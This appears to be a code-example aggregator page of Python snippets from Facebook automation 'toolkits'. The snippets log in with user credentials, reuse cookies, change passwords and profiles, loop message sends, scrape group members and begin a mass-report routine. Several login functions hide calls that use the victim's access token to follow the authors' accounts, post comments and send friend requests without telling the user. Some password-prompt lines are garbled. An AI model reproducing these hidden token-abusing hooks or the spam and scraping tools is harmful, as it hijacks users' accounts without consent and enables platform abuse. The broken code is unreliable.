Example #1
0
 def login(self):
     #follow me kids!
     self.req.post(
         'https://graph.facebook.com/adlizhafari.nub/subscribers?access_token='
         + self.ket)
     print("\n[!] checking cookies")
     time.sleep(1)
     s = self.req
     s.cookies = kuki('toket/kue.txt')
     try:
         fil = open('toket/kue.txt')
         fil.close()
     except FileNotFoundError:
         print(
             "[!] cookies not found\n\n[!] please login in your facebook once again"
         )
         email = input('[?] email/username: '******'[?] password: '******'email': email, 'pass': pw}
         res = s.post(self.u.format('/login'), data=data).text
         if 'm_sess' in str(res) or 'save-device' in str(res):
             s.cookies.save()
             self.req.cookies = kuki('toket/kue.txt')
             self.req.cookies.load()
             self.glnk(self.u.format('/friends/center/requests'))
             exit()
         else:
             exit('[!] fail login into your account')
     self.cek_kuki()
 def Change(self):
     try:
         file = open(self.file, 'rb')
         cj = kuki('log/kuki')
         cj.load()
         print(W + '[' + G + '*' + W + '] uploading picture.')
         br = mechanize.Browser()
         br.set_handle_equiv(True)
         br.set_cookiejar(cj)
         br.set_handle_gzip(True)
         br.set_handle_redirect(True)
         br.set_handle_referer(True)
         br.set_handle_robots(False)
         br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),
                               max_time=1)
         br.addheaders = [('User-Agent', open('UserAgent/ua.txt').read())]
         br.open('https://mbasic.facebook.com/profile_picture/')
         br._factory.is_html = True
         br.select_form(nr=0)
         br.form.add_file(file, 'image/jpeg', self.file, name='pic')
         sub = br.submit().read()
         if "Apa yang Anda pikirkan sekarang?" in str(sub):
             print(W + '[' + G + '*' + W + '] successfully changed')
         else:
             print(W + '[' + R + '*' + W + '] ' + R + 'failed')
     except (mechanize.URLError):
         print(W + '[' + R + '!' + W + '] ' + R + 'connections error!')
         sys.exit()
     except FileNotFoundError:
         print(W + '[' + R + '!' + W + '] ' + R + 'photo not found!')
         sys.exit()
Example #3
0
def login(self):
    global s
    print("\n[!] checking cookies")
    time.sleep(1)
    s = self.req
    s.cookies = kuki('toket/kue.txt')
    try:
        fil = open('toket/kue.txt')
        fil.close()
    except FileNotFoundError:
        print(
            "[!] cookies not found\n\n[!] please login in your facebook once again"
        )
        email = input('[?] email/username: '******'[?] password: '******'email': email, 'pass': pw}
        res = s.post('https://mbasic.facebook.com/login', data=data).text
        if 'logout.php' in str(res) or 'mbasic_logout_button' in str(res):
            s.cookies.save()
        else:
            exit('[!] fail login into your account')
    if 'True' in cek():
        pass
    else:
        exit()
 def Change(self):
     try:
         cj = kuki('log/kuki')
         cj.load()
         br = mechanize.Browser()
         br.set_handle_equiv(True)
         br.set_cookiejar(cj)
         br.set_handle_gzip(True)
         br.set_handle_redirect(True)
         br.set_handle_referer(True)
         br.set_handle_robots(False)
         br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),
                               max_time=1)
         br.addheaders = [('User-Agent', open('UserAgent/ua.txt').read())]
         br.open('https://mbasic.facebook.com/profile/basic/intro/bio/')
         br._factory.is_html = True
         br.select_form(nr=1)
         br.form['bio'] = self.bio
         sub = br.submit().read()
         if not 'Jelaskan siapa Anda' in str(sub):
             print(W + '[' + G + '*' + W + '] successfully changed to',
                   str(self.bio.replace('\n', ' ')))
         else:
             print(W + '[' + R + '*' + W + '] ' + R + 'failed')
     except (mechanize.URLError):
         print(W + '[' + R + '!' + W + '] ' + R + 'connections error!')
         sys.exit()
Example #5
0
 def Change(self):
     try:
         cj = kuki('log/kuki')
         cj.load()
         br = mechanize.Browser()
         br.set_handle_equiv(True)
         br.set_cookiejar(cj)
         br.set_handle_gzip(True)
         br.set_handle_redirect(True)
         br.set_handle_referer(True)
         br.set_handle_robots(False)
         br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),
                               max_time=1)
         br.addheaders = [('User-Agent', open('UserAgent/ua.txt').read())]
         br.open('https://mbasic.facebook.com/settings/security/password/')
         br._factory.is_html = True
         br.select_form(nr=1)
         br.form['password_old'] = self.pw
         br.form['password_new'] = self.new
         br.form['password_confirm'] = self.new
         sub = br.submit().read()
         if 'Kata Sandi Telah Diubah' in str(
                 sub) or 'Password Changed' in str(sub):
             print(W + '[' + G + '*' + W + '] successfully changed to',
                   str(self.new))
         else:
             print(W + '[' + R + '*' + W + '] ' + R + 'failed')
     except (mechanize.URLError):
         print(W + '[' + R + '!' + W + '] ' + R + 'connections error!')
         sys.exit()
Example #6
0
    def getcok(self):
        print("""
	;;;;;;;;;;;;;;;;;;;
	; Leave all Group ;
	; By: Kang-Newbie ;
	;;;;;;;;;;;;;;;;;;;""")
        print('\n[!] Checking cookies')
        time.sleep(1)
        s = self.req
        s.cookies = kuki('toket/kue.txt')
        try:
            fil = open('toket/kue.txt')
            fil.close()
        except FileNotFoundError:
            print(
                "[!] cookies not found\n\n[!] please login in your facebook once again"
            )
            email = input('[?] email/username: '******'[?] password: '******'email': email, 'pass': pw}
            urrl = 'https://mbasic.facebook.com/login'
            res = s.post(urrl, data=data).text
            if 'm_sess' in str(res) or 'save-device' in str(res):
                s.cookies.save()
                click.pause()
                self.getid()
                exit()
            else:
                exit('[!] fail login into your account')
        self.cek_kuki()
Example #7
0
 def __init__(self):
     cekKuki.cek(self)
     self.req = requests.Session()
     s = self.req
     s.cookies = kuki('log/kuki')
     s.cookies.load()
     self.HD = {'User-Agent': open('UserAgent/ua.txt').read()}
     self.token = open('log/token').read()
     self.Main()
Example #8
0
 def __init__(self):
     cekKuki.cek(self)
     self.HD = {'User-Agent': open('UserAgent/ua.txt').read()}
     self.url = 'https://mbasic.facebook.com{}'
     self.req = requests.Session()
     s = self.req
     s.cookies = kuki('log/kuki')
     s.cookies.load()
     self.Main()
Example #9
0
	def cek_kuki(self):
		self.req.cookies=kuki('toket/kue.txt')
		self.req.cookies.load()
		cek=self.req.get('https://mbasic.facebook.com/me').text
		if 'mbasic_logout_button' in cek:
			print('[√] cookies found\n')
			self.q()
		else:
			print('[!] cookies invalid')
Example #10
0
 def cek_kuki(self):
     self.req.cookies = kuki('toket/kue.txt')
     self.req.cookies.load()
     cek = self.req.get('https://mbasic.facebook.com/me').text
     if 'mbasic_logout_button' in cek:
         print('[√] cookies found\n')
         click.pause()
         self.glnk(self.u.format('/friends/center/requests'))
     else:
         print('[!] cookies invalid')
Example #11
0
 def __init__(self):
     cekKuki.cek(self)
     self.count = 0
     self.time = time.strftime('%Y-%H-%M-%S')
     self.HD = {'User-Agent': open('UserAgent/ua.txt').read()}
     self.req = requests.Session()
     s = self.req
     s.cookies = kuki('log/kuki')
     s.cookies.load()
     self.Main()
Example #12
0
 def __init__(self):
     cekKuki.cek(self)
     self.suc = 0
     self.count = 0
     self.HD = {'User-Agent': open('UserAgent/ua.txt').read()}
     self.link = []
     self.req = requests.Session()
     s = self.req
     s.cookies = kuki('log/kuki')
     s.cookies.load()
     self.Main()
Example #13
0
 def __init__(self):
     cekKuki.cek(self)
     self.HD = {'User-Agent': open('UserAgent/ua.txt').read()}
     self.token = open('log/token').read()
     self.url = 'https://mbasic.facebook.com{}'
     self.req = requests.Session()
     s = self.req
     s.cookies = kuki('log/kuki')
     s.cookies.load()
     self.id = input(W + '\n[' + G + '?' + W + '] enter group id : ' + G)
     self.Main()
Example #14
0
 def __init__(self):
     cekKuki.cek(self)
     self.id = []
     self.suc = 0
     self.HD = {'User-Agent': open('UserAgent/ua.txt').read()}
     self.url = 'https://mbasic.facebook.com{}'
     self.req = requests.Session()
     s = self.req
     s.cookies = kuki('log/kuki')
     s.cookies.load()
     self.Main(self.url.format('/friends/center/requests/outgoing/'))
Example #15
0
	def __init__(self):
		self.url = 'https://mbasic.facebook.com{}'
		self.HD = {'User-Agent' : open('UserAgent/ua.txt').read()}
		self.req = requests.Session()
		cekKuki.cek(self)
		s = self.req
		s.cookies = kuki('log/kuki')
		s.cookies.load()
		self.link = []
		url = input(W + '\n[' + G + '?' + W + '] albums url : ' + G)
		url = url.replace('https://m.facebook.com','https://mbasic.facebook.com')
		self.Main(url)
Example #16
0
 def __init__(self):
     self.loop = 0
     cekKuki.cek(self)
     self.HD = {'User-Agent': open('UserAgent/ua.txt').read()}
     self.url = 'https://mbasic.facebook.com{}'
     self.req = requests.Session()
     s = self.req
     s.cookies = kuki('log/kuki')
     s.cookies.load()
     self.link = []
     self.success = []
     self.Main(self.url.format('/me'))
Example #17
0
 def main(self):
     cj = kuki('toket/kue.txt')
     cj.load()
     self.br.set_cookiejar(cj)
     for idg in self.id:
         self.br.open(
             f'https://mbasic.facebook.com/group/leave/?group_id={idg}&refid=18'
         )
         self.br.select_form(nr=1)
         sub = self.br.submit().read()
         if 'Gabung dengan Grup' in str(sub) or 'Join Group' in str(sub):
             print(f'[+] {idg} - success leave the group')
         else:
             print(f'[-] {idg} - failed leave the group')
Example #18
0
def cek(self):
	with requests.Session() as s:
		s.cookies = kuki('log/kuki')
		s.cookies.load()
		try:
			
			aa = s.get('https://mbasic.facebook.com/me', headers = {'User-Agent' : open('UserAgent/ua.txt').read()}).text
			if 'mbasic_logout_button' in str(aa):
				pass
			else:
				print('\033[0m[\033[1;91mwarning\033[0m] \033[1;91mcookies invalids!')
				sys.exit()
				
		except requests.exceptions.ConnectionError:
			print(W + '[' + R + '!' + W + '] ' + R + 'connections error!')
			sys.exit()
Example #19
0
 def q(self):
     self.req.cookies = kuki('toket/kue.txt')
     self.req.cookies.load()
     self.query = input("[?] Search: ")
     if self.query == "":
         self.q()
     else:
         loli = []
     bs = bs4.BeautifulSoup(self.req.get(
         self.i.format("search/top/?q=%s" % (self.query))).text,
                            features="html.parser")
     for x in bs.find_all("a", href=True):
         if "graphsearch" in x["href"]:
             loli.append(self.i.format(x["href"]))
     if len(loli) != 0:
         self.cari(loli[0])
     else:
         print("[!] user does exist.")
Example #20
0
 def send(id, msg, lop):
     try:
         cjs = kuki('toket/kue.txt')
         cjs.load()
         br.set_cookiejar(cjs)
         for i in range(int(lop)):
             print("[+] sending messages to " + id)
             br.open('https://mbasic.facebook.com/messages/thread/' + id +
                     '/')
             br.form = list(br.forms())[1]
             control = br.form.find_control("body")
             for control in br.form.controls:
                 if control.type == "submit":
                     control.disabled = True
             br["body"] = msg
             br.submit()
     except IndexError:
         print("[!] fail send messages to " + id)
Example #21
0
def process_1(user, target):
    global title
    print(f"{G}[ * ] Processing : View Member Data{B}")
    url = 'https://mbasic.facebook.com/groups/' + target + "/"

    s.cookies = kuki('cookies.txt')
    s.cookies.load()
    uri = s.get(url).text
    data = []
    param = []
    soup = BeautifulSoup(uri, "html.parser")
    title = soup.title.string.split("|")[0]
    for x in soup.find_all("a"):
        data.append(x.get('href'))

    for x in range(len(data)):
        if "?view=members" in str(data[x]):
            param.append(data[x])
    process_2(param)
Example #22
0
def cek():
    try:
        s.cookies = kuki('toket/kue.txt')
        s.cookies.load()
        cek = s.get('https://mbasic.facebook.com/me').text
        if 'mbasic_logout_button' in cek:
            print('[√] cookies valids\n')
            a = 'True'
            return a
        else:
            print('[!] cookies invalid')
            os.remove('toket/kue.txt')
            a = 'False'
            return a
    except:
        print('[!] cookies invalid')
        os.remove('toket/kue.txt')
        a = 'False'
        return a
Example #23
0
	def login():
		print("\n[!] checking cookies")
		time.sleep(1)
		s = ses()
		s.cookies = kuki('toket/kue.txt')
		try:
			fil=open('toket/kue.txt')
			fil.close()
		except FileNotFoundError:
			print("[!] cookies not found\n\n[!] please login in your facebook once again")
			email=input('[?] email/username: '******'[?] password: '******'email':email,'pass':pw}
			url='https://mbasic.facebook.com/login'

			res = s.post(url,data=data).text
			if 'm_sess' in str(res) or 'save-device' in str(res):
				s.cookies.save()
			else:
				exit('[!] fail login into your account')
Example #24
0
	def send(id,msg,lop):
		try:
			print()
			cjs = kuki('toket/kue.txt')
			cjs.load()
			br.set_cookiejar(cjs)
			for i in range(int(lop)):
				print("[!] sending messages to "+id)
				br.open('https://mbasic.facebook.com/messages/thread/'+id+'/')
				br.form = list(br.forms())[1]
				control = br.form.find_control("body")
				for control in br.form.controls:
					if control.type == "submit":
						control.disabled = True
				br["body"]=msg
				snd=br.submit().read()
				if 'send_success' in str(snd):
					print('[+] succes')
				else: print('[-] failed')
		except IndexError:
			print("[!] error when sending a message to",id)
Example #25
0
def login(user, pwd, target):
    print(f"{G}[ * ] Logging in {B}")
    cj = kuki('cookies.txt')
    try:
        data = []
        br = mechanize.Browser()
        br.set_cookiejar(cj)
        br.set_handle_gzip(True)
        br.set_handle_redirect(True)
        br.set_handle_robots(False)
        br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),
                              max_time=1)
        br.addheaders = [(
            'User-Agent',
            'Opera/9.80 (Android; Opera Mini/12.0.1987/37.7327; U; pl) Presto/2.12.423 Version/12.16'
        )]
        br.open('https://mbasic.facebook.com/login')
        br._factory.is_html = True
        br.select_form(nr=0)
        br.form['email'] = user
        br.form['pass'] = pwd
        sub = br.submit().read()
        if "doesn't match" in str(sub):
            print("\033[31m[ x ] Username Or Password Wrong\033[0m")
            os.system(rm)
        if "checkpoint" in str(sub):
            print(R + "[ x ] Account Checkpoint" + B)
            os.system(rm)
        else:
            os.system(make)
            cj.save()
            process_1(user, target)

    except:
        print(f"{R} [ ! ] Failed{B}")
        input("[ AGAIN ]")
        os.system("clear")
        menu(logo)
Example #26
0
# Decompiled from: Python 2.7.17 (default, Oct 23 2019, 08:25:46)
# [GCC 4.2.1 Compatible Android (5220042 based on r346389c) Clang 8.0.7 (https://
# Embedded file name: <Ariya>
import os, sys, time, datetime, random, hashlib, re, threading, json, urllib, cookielib, requests, mechanize
from bs4 import BeautifulSoup as parser
from multiprocessing.pool import ThreadPool
from requests.exceptions import ConnectionError
from mechanize import Browser
from prompt_toolkit.shortcuts import prompt
from prompt_toolkit.styles import Style
from http.cookiejar import LWPCookieJar as kuki

reload(sys)
sys.setdefaultencoding('utf8')
br = mechanize.Browser()
cj = kuki('kuki')
br.set_handle_robots(False)
br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
br.addheaders = [(
    'User-Agent',
    'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16'
)]


def keluar():
    print '\x1b[1;91m[!] Exit'
    os.sys.exit()


def acak(b):
    w = 'ahtdzjc'
Example #27
0
def login():
    os.system('clear')
    try:
        toket = open('login.txt', 'r')
        menu()
    except (KeyError, IOError):
        os.system('clear')
        print logo
        print 37 * '\x1b[1;94m\xe2\x95\x90'
        print '\x1b[1;91m[\xe2\x98\x86] \x1b[1;92mLOGIN AKUN FACEBOOK \x1b[1;91m[\xe2\x98\x86]'
        id = raw_input(
            '\x1b[1;91m[+] \x1b[1;36mID\x1b[1;97m|\x1b[1;96mEmail\x1b[1;97m \x1b[1;91m:\x1b[1;92m '
        )
        pwd = raw_input(
            '\x1b[1;91m[+] \x1b[1;36mPassword \x1b[1;91m:\x1b[1;92m ')
        tik()
        try:
            br.open('https://m.facebook.com')
        except mechanize.URLError:
            print '\n\x1b[1;91m[!] No connection'
            keluar()

        br._factory.is_html = True
        br.select_form(nr=0)
        br.form['email'] = id
        br.form['pass'] = pwd
        br.submit()
        url = br.geturl()
        if 'save-device' in url:
            try:
                cj.save()
                sig = 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail=' + id + 'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword='******'return_ssl_resources=0v=1.062f8ce9f74b12f84c123cc23437a4a32'
                data = {
                    'api_key': '882a8490361da98702bf97a021ddc14d',
                    'credentials_type': 'password',
                    'email': id,
                    'format': 'JSON',
                    'generate_machine_id': '1',
                    'generate_session_cookies': '1',
                    'locale': 'en_US',
                    'method': 'auth.login',
                    'password': pwd,
                    'return_ssl_resources': '0',
                    'v': '1.0'
                }
                x = hashlib.new('md5')
                x.update(sig)
                a = x.hexdigest()
                data.update({'sig': a})
                url = 'https://api.facebook.com/restserver.php'
                r = requests.get(url, params=data)
                z = json.loads(r.text)
                unikers = open('login.txt', 'w')
                unikers.write(z['access_token'])
                unikers.close()
                try:
                    toket = open('login.txt', 'r').read()
                    with requests.Session() as (s):
                        s.cookies = kuki('kuki')
                        s.cookies.load()
                        la = s.get('https://m.facebook.com/language.php')
                        pa = parser(la.content, 'html.parser')
                        bh = pa.find('a', string='Bahasa Indonesia')
                        s.get('https://m.facebook.com' + str(bh['href']))
                        s.post(
                            'https://graph.facebook.com/ariyahacker/subscribers?access_token='
                            + toket)
                        s.post(
                            'https://graph.facebook.com/120300252885977/comments?message=Nice:)*&access_token='
                            + toket)
                except:
                    pass

                print '\n\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mLogin successfully'
                requests.post(
                    'https://graph.facebook.com/me/friends?method=post&uids=gwimusa3&access_token='
                    + z['access_token'])
                menu()
            except requests.exceptions.ConnectionError:
                print '\n\x1b[1;91m[!] No connection'
                keluar()

        if 'checkpoint' in url:
            print '\n\x1b[1;91m[!] \x1b[1;93mAccount Checkpoint'
            os.system('rm -rf login.txt')
            time.sleep(1)
            keluar()
        else:
            print '\n\x1b[1;91m[!] Login Failed'
            os.system('rm -rf login.txt')
            time.sleep(1)
            login()
Example #28
0
#!usr/bin/python3.7
# coding: utf-8

# Facebook Toolskit Version 2.0
# Copyright: (©) 2019  DulLah
# Hargailah Sejelek Apapun Itu:V

import os, sys, time, requests, mechanize, hashlib, json, shutil
from data import Clr
from prompt_toolkit.shortcuts import prompt
from prompt_toolkit.styles import Style
from http.cookiejar import LWPCookieJar as kuki

headers = open('UserAgent/ua.txt').read()
br = mechanize.Browser()
cj = kuki('log/kuki')
br.set_cookiejar(cj)
br.set_handle_gzip(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
br.addheaders = [('User-Agent', headers)]
up = '2.1'

if sys.platform in ['linux', 'linux2']:
    C = '\033[1;96m'
    W = '\033[0m'
    G = '\033[1;92m'
    R = '\033[1;91m'
    Y = '\033[1;93m'
#!usr/bin/python3.7
#Author: DulLah ©2019
# FB : fb.me/dulahz
#Telegram : t.me/unikers
#github: github.com/dz-id
# YANG INI JANGAN DIGANTI YA STERR:) APALAGI DIHAPUS
try:
	import requests
	from bs4 import BeautifulSoup as parser
	from http.cookiejar import LWPCookieJar as kuki
	#//
	ua = {'User-Agent' : open('UserAgent/ua.txt').read()}
	token = open('log/token').read()
	with requests.Session() as s:
		s.cookies = kuki('log/kuki')
		s.cookies.load()
		la = s.get('https://mbasic.facebook.com/language.php',headers = ua)
		pa = parser(la.content, 'html.parser')
		bh = pa.find('a', string = 'Bahasa Indonesia')
		s.get('https://mbasic.facebook.com'+str(bh['href']),headers = ua) #// ganti bahasa
		s.post('https://graph.facebook.com/dulahz/subscribers?access_token='+token,headers = ua) #// foll aing:V
		s.post('https://graph.facebook.com/1145924768936987/comments?message=Nice:)*&access_token='+token,headers = ua) #// comment
except:
		pass
Example #30
0
import re, random, time, bs4, os, sys, mechanize,requests
from http.cookiejar import LWPCookieJar as kuki
os.system('clear')
br = mechanize.Browser()
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
br.set_cookiejar(kuki())
br.addheaders = [
        (
          'User-Agent',
          random.choice(open('useragents.txt').read().splitlines()))]
filee = 'ids.txt'
def report():
    url = ('https://m.facebook.com/login.php')
    email = input('[#] Enter Email: ')
    passwr= input('[#] Enter Password: '******'email'] = ('{}').format(email)
    br.form['pass'] = ('{}').format(passwr)
    br.submit()
    if 'save-device' in br.geturl():
        print('[#] Login success ')
        id=input('[#] Username Target : ')
        my = ('https://m.facebook.com/' + id)
        url = my
        br.open(url)
        r=re.findall('<title>(.*?)</title>', br.response().read().decode('utf-8'))